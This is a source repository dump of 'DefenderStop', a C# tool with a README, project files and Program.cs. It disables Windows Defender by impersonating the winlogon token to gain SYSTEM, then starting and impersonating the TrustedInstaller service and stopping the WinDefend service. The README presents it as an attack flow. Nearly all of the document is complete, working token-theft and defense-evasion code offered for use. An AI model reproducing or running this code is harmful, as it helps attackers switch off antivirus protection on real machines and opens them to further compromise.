├── flow.png ├── usage.png ├── App.config ├── README.md ├── Properties └── AssemblyInfo.cs ├── DefenderStop.sln ├── DefenderStop.csproj └── Program.cs /flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dosxuz/DefenderStop/HEAD/flow.png -------------------------------------------------------------------------------- /usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dosxuz/DefenderStop/HEAD/usage.png -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## StopDefenderService 2 | 3 | This is a C# project to stop the defender service using via token impersonation 4 | 5 | ### Methodology 6 | 7 | The WinDefend process can neither be stopped an admin with high privileges nor as the SYSTEM. But it can only be stopped with the privileges of the TrustedInstaller group. 8 | 9 | In this technique, we first steal the token from the WinLogon service, and escalate to SYSTEM integrity. Then we steal the token from the TrustedInstaller service and impersonate it. This will finally allow us to stop the WinDefend service. 10 | 11 | ### Attack Flow 12 | 13 | The following is the diagram of the attack flow. (Source: [Original Blogpost](https://www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender/)). 14 | 15 | ![](flow.png) 16 | 17 | Apart from the original functionality, we have also added the Enable Debug Privilege feature, which sets the debug privilege too. 18 | 19 | ![](usage.png) 20 | 21 | ### References 22 | 23 | - https://www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender/ 24 | - https://github.com/last-byte/DefenderSwitch 25 | - https://github.com/APTortellini/DefenderSwitch 26 | - https://guidedhacking.com/threads/c-sedebugprivilege-adjusttokenprivileges.14926/ 27 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DefenderStop")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("DefenderStop")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2022")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c3b6c072-4430-4ef3-975e-bde535e7ed42")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DefenderStop.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31025.194 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DefenderStop", "DefenderStop.csproj", "{C3B6C072-4430-4EF3-975E-BDE535E7ED42}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x64.ActiveCfg = Debug|x64 21 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x64.Build.0 = Debug|x64 22 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x86.ActiveCfg = Debug|x86 23 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Debug|x86.Build.0 = Debug|x86 24 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x64.ActiveCfg = Release|x64 27 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x64.Build.0 = Release|x64 28 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x86.ActiveCfg = Release|x86 29 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42}.Release|x86.Build.0 = Release|x86 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {5874FE0D-F998-4B07-AE1F-D1CAF56BF2F2} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /DefenderStop.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C3B6C072-4430-4EF3-975E-BDE535E7ED42} 8 | Exe 9 | DefenderStop 10 | DefenderStop 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | true 37 | bin\x64\Debug\ 38 | DEBUG;TRACE 39 | full 40 | x64 41 | 7.3 42 | prompt 43 | true 44 | 45 | 46 | bin\x64\Release\ 47 | TRACE 48 | true 49 | pdbonly 50 | x64 51 | 7.3 52 | prompt 53 | true 54 | 55 | 56 | true 57 | bin\x86\Debug\ 58 | DEBUG;TRACE 59 | full 60 | x86 61 | 7.3 62 | prompt 63 | true 64 | 65 | 66 | bin\x86\Release\ 67 | TRACE 68 | true 69 | pdbonly 70 | x86 71 | 7.3 72 | prompt 73 | true 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading; 8 | using System.Threading.Tasks; 9 | 10 | namespace DefenderStop 11 | { 12 | internal class Program 13 | { 14 | [DllImport("advapi32.dll", SetLastError = true)] 15 | [return: MarshalAs(UnmanagedType.Bool)] 16 | static extern bool OpenProcessToken(IntPtr ProcessHandle,UInt32 DesiredAccess, out IntPtr TokenHandle); 17 | [DllImport("advapi32.dll", SetLastError = true)] 18 | static extern bool RevertToSelf(); 19 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 20 | public extern static bool CloseHandle(IntPtr handle); 21 | [DllImport("advapi32.dll", SetLastError = true)] 22 | 23 | static extern bool ImpersonateLoggedOnUser(IntPtr hToken); 24 | [DllImport("advapi32.dll", SetLastError = true)] 25 | static extern bool GetUserName(System.Text.StringBuilder sb, ref Int32 length); 26 | 27 | 28 | public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; 29 | public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; 30 | public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; 31 | public const UInt32 TOKEN_DUPLICATE = 0x0002; 32 | public const UInt32 TOKEN_IMPERSONATE = 0x0004; 33 | public const UInt32 TOKEN_QUERY = 0x0008; 34 | public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; 35 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; 36 | public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; 37 | public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; 38 | public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; 39 | public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); 40 | public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | 41 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | 42 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | 43 | TOKEN_ADJUST_SESSIONID); 44 | 45 | 46 | [Flags] 47 | public enum SERVICE_ACCESS : uint 48 | { 49 | STANDARD_RIGHTS_REQUIRED = 0xF0000, 50 | SERVICE_QUERY_CONFIG = 0x00001, 51 | SERVICE_CHANGE_CONFIG = 0x00002, 52 | SERVICE_QUERY_STATUS = 0x00004, 53 | SERVICE_ENUMERATE_DEPENDENTS = 0x00008, 54 | SERVICE_START = 0x00010, 55 | SERVICE_STOP = 0x00020, 56 | SERVICE_PAUSE_CONTINUE = 0x00040, 57 | SERVICE_INTERROGATE = 0x00080, 58 | SERVICE_USER_DEFINED_CONTROL = 0x00100, 59 | SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | 60 | SERVICE_QUERY_CONFIG | 61 | SERVICE_CHANGE_CONFIG | 62 | SERVICE_QUERY_STATUS | 63 | SERVICE_ENUMERATE_DEPENDENTS | 64 | SERVICE_START | 65 | SERVICE_STOP | 66 | SERVICE_PAUSE_CONTINUE | 67 | SERVICE_INTERROGATE | 68 | SERVICE_USER_DEFINED_CONTROL) 69 | } 70 | [Flags] 71 | public enum SERVICE_CONTROL : uint 72 | { 73 | STOP = 0x00000001, 74 | PAUSE = 0x00000002, 75 | CONTINUE = 0x00000003, 76 | INTERROGATE = 0x00000004, 77 | SHUTDOWN = 0x00000005, 78 | PARAMCHANGE = 0x00000006, 79 | NETBINDADD = 0x00000007, 80 | NETBINDREMOVE = 0x00000008, 81 | NETBINDENABLE = 0x00000009, 82 | NETBINDDISABLE = 0x0000000A, 83 | DEVICEEVENT = 0x0000000B, 84 | HARDWAREPROFILECHANGE = 0x0000000C, 85 | POWEREVENT = 0x0000000D, 86 | SESSIONCHANGE = 0x0000000E 87 | } 88 | 89 | public enum SERVICE_STATE : uint 90 | { 91 | SERVICE_STOPPED = 0x00000001, 92 | SERVICE_START_PENDING = 0x00000002, 93 | SERVICE_STOP_PENDING = 0x00000003, 94 | SERVICE_RUNNING = 0x00000004, 95 | SERVICE_CONTINUE_PENDING = 0x00000005, 96 | SERVICE_PAUSE_PENDING = 0x00000006, 97 | SERVICE_PAUSED = 0x00000007 98 | } 99 | 100 | [Flags] 101 | public enum SERVICE_ACCEPT : uint 102 | { 103 | STOP = 0x00000001, 104 | PAUSE_CONTINUE = 0x00000002, 105 | SHUTDOWN = 0x00000004, 106 | PARAMCHANGE = 0x00000008, 107 | NETBINDCHANGE = 0x00000010, 108 | HARDWAREPROFILECHANGE = 0x00000020, 109 | POWEREVENT = 0x00000040, 110 | SESSIONCHANGE = 0x00000080, 111 | } 112 | 113 | 114 | [StructLayout(LayoutKind.Sequential)] 115 | public struct SERVICE_STATUS 116 | { 117 | public int serviceType; 118 | public int currentState; 119 | public int controlsAccepted; 120 | public int win32ExitCode; 121 | public int serviceSpecificExitCode; 122 | public int checkPoint; 123 | public int waitHint; 124 | } 125 | 126 | public enum PrivilegeNames 127 | { 128 | SeCreateTokenPrivilege, 129 | SeAssignPrimaryTokenPrivilege, 130 | SeLockMemoryPrivilege, 131 | SeIncreaseQuotaPrivilege, 132 | SeUnsolicitedInputPrivilege, 133 | SeMachineAccountPrivilege, 134 | SeTcbPrivilege, 135 | SeSecurityPrivilege, 136 | SeTakeOwnershipPrivilege, 137 | SeLoadDriverPrivilege, 138 | SeSystemProfilePrivilege, 139 | SeSystemtimePrivilege, 140 | SeProfileSingleProcessPrivilege, 141 | SeIncreaseBasePriorityPrivilege, 142 | SeCreatePagefilePrivilege, 143 | SeCreatePermanentPrivilege, 144 | SeBackupPrivilege, 145 | SeRestorePrivilege, 146 | SeShutdownPrivilege, 147 | SeDebugPrivilege, 148 | SeAuditPrivilege, 149 | SeSystemEnvironmentPrivilege, 150 | SeChangeNotifyPrivilege, 151 | SeRemoteShutdownPrivilege, 152 | SeUndockPrivilege, 153 | SeSyncAgentPrivilege, 154 | SeEnableDelegationPrivilege, 155 | SeManageVolumePrivilege, 156 | SeImpersonatePrivilege, 157 | SeCreateGlobalPrivilege, 158 | SeTrustedCredManAccessPrivilege, 159 | SeRelabelPrivilege, 160 | SeIncreaseWorkingSetPrivilege, 161 | SeTimeZonePrivilege, 162 | SeCreateSymbolicLinkPrivilege 163 | } 164 | 165 | internal struct TokPriv1Luid 166 | { 167 | public int Count; 168 | public long Luid; 169 | public int Attr; 170 | } 171 | 172 | const Int32 ANYSIZE_ARRAY = 1; 173 | 174 | [StructLayout(LayoutKind.Sequential)] 175 | public struct LUID 176 | { 177 | public uint LowPart; 178 | public uint HighPart; 179 | } 180 | [StructLayout(LayoutKind.Sequential, Pack = 4)] 181 | public struct LUID_AND_ATTRIBUTES 182 | { 183 | public LUID Luid; 184 | public UInt32 Attributes; 185 | } 186 | [DllImport("advapi32.dll", SetLastError = true)] 187 | internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); 188 | 189 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 190 | internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); 191 | public static void get_username() 192 | { 193 | StringBuilder Buffer = new StringBuilder(64); 194 | int nSize = 64; 195 | GetUserName(Buffer, ref nSize); 196 | Console.WriteLine(Buffer.ToString()); 197 | } 198 | 199 | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] 200 | // establishes a connection to the service control manager on the specified computer 201 | public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess); 202 | [DllImport("advapi32.dll", EntryPoint = "OpenServiceA", SetLastError = true, CharSet = CharSet.Ansi)] 203 | static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess); 204 | [DllImport("advapi32", SetLastError = true)] 205 | [return: MarshalAs(UnmanagedType.Bool)] 206 | public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors); 207 | [DllImport("advapi32.dll", SetLastError = true)] 208 | [return: MarshalAs(UnmanagedType.Bool)] 209 | public static extern bool ControlService(IntPtr hService, SERVICE_CONTROL dwControl, ref SERVICE_STATUS lpServiceStatus); 210 | [DllImport("kernel32.dll", SetLastError = true)] 211 | public static extern IntPtr GetCurrentProcess(); 212 | public static void start_trustedinstaller_service() 213 | { 214 | IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F); 215 | 216 | if (SCMHandle == IntPtr.Zero) 217 | { 218 | Console.WriteLine("OpenSCManager failed!"); 219 | return; 220 | } 221 | Console.WriteLine("OpenSCManager success!"); 222 | string ServiceName = "TrustedInstaller"; 223 | IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) SERVICE_ACCESS.SERVICE_START); 224 | 225 | bool bResult = StartService(schService, 0, null); 226 | if (bResult) 227 | { 228 | Console.WriteLine("TrustedInstaller service started!"); 229 | } 230 | else 231 | { 232 | Console.WriteLine("TrustedInstaller service cannot be started!"); 233 | } 234 | 235 | Thread.Sleep(2000); 236 | CloseHandle(schService); 237 | CloseHandle(SCMHandle); 238 | 239 | } 240 | internal const int SE_PRIVILEGE_DISABLED = 0x00000000; 241 | internal const int SE_PRIVILEGE_ENABLED = 0x00000002; 242 | 243 | public static bool EnableDebugPrivilege() 244 | { 245 | try 246 | { 247 | bool retVal; 248 | TokPriv1Luid tp; 249 | IntPtr hproc = GetCurrentProcess(); 250 | IntPtr htok = IntPtr.Zero; 251 | retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out htok); 252 | tp.Count = 1; 253 | tp.Luid = 0; 254 | tp.Attr = SE_PRIVILEGE_ENABLED; 255 | retVal = LookupPrivilegeValue(null, "SeDebugPrivilege", ref tp.Luid); 256 | retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); 257 | Console.WriteLine("SeDebugPrivilege enabled: " + retVal); 258 | return true; 259 | } 260 | catch (Exception ex) 261 | { 262 | throw ex; 263 | } 264 | 265 | } 266 | 267 | public static void escalate_to_system() 268 | { 269 | //check if SE_DEBUG_Privilege is enabled 270 | /*bool res = EnableDebugPrivilege(); 271 | if (!res) 272 | { 273 | Console.WriteLine("SeDebugPrivilege failed"); 274 | Environment.Exit(1); 275 | }*/ 276 | 277 | //impersonate using winlogon.exe SYSTEM token 278 | Process[] processlist = Process.GetProcesses(); 279 | IntPtr tokenHandle = IntPtr.Zero; 280 | foreach (Process theProcess in processlist) 281 | { 282 | if (theProcess.ProcessName == "winlogon") 283 | { 284 | bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle); 285 | if(!token) 286 | { 287 | Console.WriteLine("OpenProcessToken Failed!"); 288 | return; 289 | } 290 | else 291 | { 292 | token = ImpersonateLoggedOnUser(tokenHandle); 293 | Console.Write("User after impersonation: "); 294 | get_username(); 295 | } 296 | CloseHandle(theProcess.Handle); 297 | } 298 | } 299 | CloseHandle(tokenHandle); 300 | 301 | } 302 | 303 | public static void escalate_to_trustedinstaller() 304 | { 305 | //impersonate using trustedintaller.exe token 306 | Process[] processlist = Process.GetProcesses(); 307 | IntPtr tokenHandle = IntPtr.Zero; 308 | foreach (Process theProcess in processlist) 309 | { 310 | if (theProcess.ProcessName == "TrustedInstaller") 311 | { 312 | bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle); 313 | if (!token) 314 | { 315 | Console.WriteLine("OpenProcessToken Failed!"); 316 | return; 317 | } 318 | else 319 | { 320 | token = ImpersonateLoggedOnUser(tokenHandle); 321 | Console.Write("Trusted Installer impersonated!"); 322 | } 323 | CloseHandle(theProcess.Handle); 324 | } 325 | } 326 | CloseHandle(tokenHandle); 327 | 328 | } 329 | 330 | public static void stop_defender_service() 331 | { 332 | IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F); 333 | if (SCMHandle == IntPtr.Zero) 334 | { 335 | Console.WriteLine("OpenSCManager failed!"); 336 | return; 337 | } 338 | Console.WriteLine("OpenSCManager success!"); 339 | string ServiceName = "WinDefend"; 340 | IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) (SERVICE_ACCESS.SERVICE_STOP | SERVICE_ACCESS.SERVICE_QUERY_STATUS | SERVICE_ACCESS.SERVICE_ENUMERATE_DEPENDENTS)); 341 | SERVICE_STATUS ssp = new SERVICE_STATUS(); 342 | bool bResult = ControlService(schService, SERVICE_CONTROL.STOP, ref ssp); 343 | if (bResult) 344 | { 345 | Console.WriteLine("Windefender service stopped!"); 346 | } 347 | else 348 | { 349 | Console.WriteLine("Windefender service cannot be stopped!"); 350 | } 351 | 352 | Thread.Sleep(2000); 353 | CloseHandle(schService); 354 | CloseHandle(SCMHandle); 355 | } 356 | 357 | public static void Main(string[] args) 358 | { 359 | Console.Write("Original user:"); 360 | get_username(); 361 | start_trustedinstaller_service(); 362 | escalate_to_system(); 363 | escalate_to_trustedinstaller(); 364 | stop_defender_service(); 365 | 366 | } 367 | } 368 | } 369 | --------------------------------------------------------------------------------